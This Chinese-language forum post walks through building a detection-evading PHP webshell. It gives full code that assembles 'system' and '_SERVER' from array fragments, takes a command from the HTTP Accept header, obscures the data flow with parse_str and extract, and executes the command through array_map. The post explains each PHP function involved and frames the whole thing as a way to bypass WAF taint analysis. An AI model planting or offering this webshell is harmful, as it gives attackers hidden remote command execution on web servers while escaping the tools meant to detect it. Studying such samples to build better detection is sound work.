基于增加复杂逻辑数组混淆的webshell绕过
1341025112991831 发表于 四川 历史精选 1148浏览 · 2024-10-15 01:41

基于增加复杂逻辑数组混淆的webshell绕过

前言

最近也是研究起了绕过webshell的学习,说实话绕过waf很不容易,因为对webshell研究少,底层也少,只能目前用逻辑和混淆了

webshell检测机制

如果需要知道如何进攻,那就需要知道该如何去防御,首先就开始慢慢摸索webshell的检测机制了

对于全局变量

我们的全局变量常见的有

  • $_GET
  • $_POST
  • $_COOKIE
  • $_REQUEST
  • $_SERVER 其中的某些参数可控
  • $_FILE
  • $GLOBALS

如果我们使用了这些传入参数,那么webshell检测就会把传入的参数作为source了,被标记,后续会持续跟踪

特殊字符

比如我们执行命令的,system,eval等等这些字符,也会检测参数

总的来说就是污点分析,跟踪

绕过方法

https://zone.huoxian.cn/d/878

  1. SpeedBump, which amplifies the slowdown in normal executions by hundreds of times to the fuzzed execution 在一些非预期的错误处理路径注入延迟原语,影响Fuzz执行速度
  2. BranchTrap, interfering with feedback logic by hiding paths and polluting coverage maps。
    插入大量对输入敏感的分支,使得Fuzz处理不得不浪费大量的资源处理这些无用的分支分析中
  3. AntiHybrid, hindering taint-analysis and symbolic execution。
    作者将原始程序中的explicit data-flow转换为implicit data-flow,以阻碍污染分析。

具体案例

根据一个案例来介绍一下机制

比如今天构造的一个webshell

<?php

$records = array(
    array(
        'id' => "array",
        'first_name' => '_',
        'last_name' => 'sy',
    ),
    array(
        'id' => "_",
        'first_name' => 'SER',
        'last_name' => 's',
    ),
    array(
        'id' => "ma",
        'first_name' => 'VE',
        'last_name' => 't',
    ),
    array(
        'id' => "p",
        'first_name' => 'R',
        'last_name' => 'em',
    )
);

$last_names = array_column($records, 'last_name');
$first_names = array_column($records, 'first_name');
$a="123123123123123";
parse_str($a=implode('',(array_column($records, 'id'))), $aarryy);
$string1 = implode('', $last_names);
$string2 = implode('', $first_names);
$array=array();
array_push($array,$string1,$string2);
if(1===$_GET[1]){
    $c=123;
}else{
    $c=$$string1['HTTP_ACCEPT'];
}
if(intval($_GET[1])>1){
    $f=array("nhao"=>$c);
    extract($f);
}
array_push($array,$nhao);
if("a"===$a($array[0],array($array[rand(0,2)]))){
    echo 1;
}

可以看见逻辑还是比较复杂的,这里简单介绍一下这些函数的作用

array_column

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

array_column — 返回输入数组中指定列的值

array_column() 返回 array 中键名为 column_key 的一列值。 如果指定了可选参数 index_key,则使用输入数组中 index_key 列的值将作为返回数组中对应值的键。

<?php
// 表示从数据库返回的记录集的数组
$records = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    ),
    array(
        'id' => 5342,
        'first_name' => 'Jane',
        'last_name' => 'Jones',
    ),
    array(
        'id' => 5623,
        'first_name' => 'Peter',
        'last_name' => 'Doe',
    )
);

$first_names = array_column($records, 'first_name');
print_r($first_names);
?>

所以我这里就使用这个函数来构造我们的恶意代码,比如system

但是首先只是取出了数组的值,我们还需要使用一些方法把他们拼接在一起

implode

implode — 用字符串连接数组元素

返回一个包含所有数组元素并且顺序相同的字符串, 每个元素之间有 separator 分隔。

<?php

$array = ['lastname', 'email', 'phone'];
var_dump(implode(",", $array)); // string(20) "lastname,email,phone"

// Empty string when using an empty array:
var_dump(implode('hello', [])); // string(0) ""

// The separator is optional:
var_dump(implode(['a', 'b', 'c'])); // string(3) "abc"

?>

那我们这里的思路就是一’‘去拼接在一起

这样我们的恶意字符就构造出来了

然后我还使用parse_str混淆了一手变量

一开始把$a设置为其他值

parse_str — 将字符串解析成多个变量

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

经过解析后

然后使用array_push把内容放在数组中

然后再解释一下

$$string1['HTTP_ACCEPT'];

这个就是$_SERVER['HTTP_ACCEPT']

因为我们需要控制参数的内容,而_SERVER中变量还是很多的

PATH 系统环境变量的值,包含了多个目录的路径,用于指定可执行文件的搜索路径。
SYSTEMROOT Windows系统根目录的路径。
COMSPEC 默认命令行解释器的路径。
PATHEXT 可执行文件扩展名的列表。
WINDIR Windows系统目录的路径。
PHPRC PHP配置文件(php.ini)所在的目录。
SCRIPT_NAME 当前脚本的文件名。
REQUEST_URI 请求的URI。
QUERY_STRING 请求的查询字符串部分。
REQUEST_METHOD 请求的HTTP方法。
SERVER_PROTOCOL 服务器使用的HTTP协议版本。
REMOTE_PORT 客户端的端口号。
SCRIPT_FILENAME 当前脚本的绝对文件路径。
SERVER_ADMIN 服务器管理员的电子邮件地址。
CONTEXT_DOCUMENT_ROOT 当前环境下的文档根目录。
CONTEXT_PREFIX 当前环境的URL路径前缀。
REQUEST_SCHEME 请求使用的协议。
DOCUMENT_ROOT 当前脚本的文档根目录。
REMOTE_ADDR 客户端的IP地址。
SERVER_PORT 服务器监听的端口号。
SERVER_ADDR 服务器的IP地址。
SERVER_NAME 服务器的主机名。
SERVER_SOFTWARE 服务器软件和版本信息。
SERVER_SIGNATURE 服务器签名字符串。
HTTP_COOKIE 请求中的Cookie信息。
HTTP_ACCEPT_LANGUAGE 请求中的客户端语言偏好。
HTTP_ACCEPT_ENCODING 请求中的客户端编码偏好。
HTTP_SEC_FETCH_DEST 请求中的Fetch请求目标。
HTTP_SEC_FETCH_USER 请求中的Fetch请求用户状态。
HTTP_SEC_FETCH_MODE 请求中的Fetch请求模式。
HTTP_SEC_FETCH_SITE 请求中的Fetch请求站点。
HTTP_ACCEPT 请求中的Accept头字段。
HTTP_USER_AGENT 请求中的用户代理(浏览器)信息。
HTTP_UPGRADE_INSECURE_REQUESTS 请求中的安全升级请求。
HTTP_SEC_CH_UA_PLATFORM 请求中的用户代理平台。
HTTP_SEC_CH_UA_MOBILE 请求中的用户代理移动状态。
HTTP_SEC_CH_UA 请求中的用户代理信息。
HTTP_CACHE_CONTROL 请求中的缓存控制头字段。
HTTP_CONNECTION 请求中的连接类型。
HTTP_HOST 请求中的主机名

其中只需要找能够控制的,就可以用来传入参数了

然后又使用extract来混淆变量

extract — 从数组中将变量导入到当前的符号表

<?php

/* 假定 $var_array 是 wddx_deserialize 返回的数组*/

$size = "large";
$var_array = array(
    "color" => "blue",
    "size"  => "medium",
    "shape" => "sphere"
);

extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

可以发现已经混淆了

最后使用的是

array_map

去动态执行命令

array_map — 为数组的每个元素应用回调函数

<?php
function cube($n)
{
    return ($n * $n * $n);
}

$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
?>

可以发现第一个参数是接受函数的

最后效果如下

1 条评论
某人
表情
可输入 255